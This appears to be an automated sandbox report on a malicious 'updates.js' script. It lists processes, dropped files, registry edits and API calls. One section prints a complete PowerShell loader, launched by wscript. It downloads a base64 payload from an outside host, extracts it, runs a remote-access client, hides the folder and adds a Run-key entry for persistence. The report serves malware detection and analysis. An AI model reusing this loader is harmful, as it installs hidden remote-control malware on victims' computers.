Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Roaming\GRDCWLLI20\NSM.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: updates.js

Static file information: File size 7688860 > 1048576

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\GRDCWLLI20\msvcr100.dll

Jump to behavior

Source:	Binary string: msvcr100.i386.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BADE4000.00000004.00000800.00020000.00000000.sdmp, client32.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Conta

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;			Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11029BB0 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,HttpOpenRequestA,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,InternetQueryDataAvailable,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

3_2_11029BB0

Source: PCICL32.DLL.1.dr

Static PE information: section name: .hhshare

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B92097D push E95B71D0h; ret	1_2_00007FFD9B9209C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B927567 push ebx; iretd	1_2_00007FFD9B92756A
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11041721 push 3BFFFFFEh; ret	3_2_11041726
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1116FF15 push ecx; ret	3_2_1116FF28
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11041721 push 3BFFFFFEh; ret	7_2_11041726
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1116FF15 push ecx; ret	7_2_1116FF28
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1116AE09 push ecx; ret	7_2_1116AE1C

Source: msvcr100.dll.1.dr

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\GRDCWLLI20\remcmdstub.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

7_2_11128B10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HQWQTO			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HQWQTO			Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11139ED0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	3_2_11139ED0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	3_2_110C1020
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11113380 IsIconic,GetTickCount,	3_2_11113380
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	3_2_110CB750
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	3_2_110CB750
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	3_2_111236E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	3_2_111236E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11025A90 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	3_2_11025A90
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	3_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	3_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11113FA0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	3_2_11113FA0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11025EE0 IsIconic,BringWindowToTop,GetCurrentThreadId,	3_2_11025EE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1115BEE0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	3_2_1115BEE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110241A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	3_2_110241A0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	7_2_110C1020
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11113380 IsIconic,GetTickCount,	7_2_11113380
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CB750
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CB750
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	7_2_111236E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	7_2_111236E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11025A90 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	7_2_11025A90
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11113FA0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	7_2_11113FA0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11139ED0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	7_2_11139ED0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11025EE0 IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_11025EE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1115BEE0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	7_2_1115BEE0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110241A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	7_2_110241A0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11024880 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_11024880

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

3_2_11029BB0

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
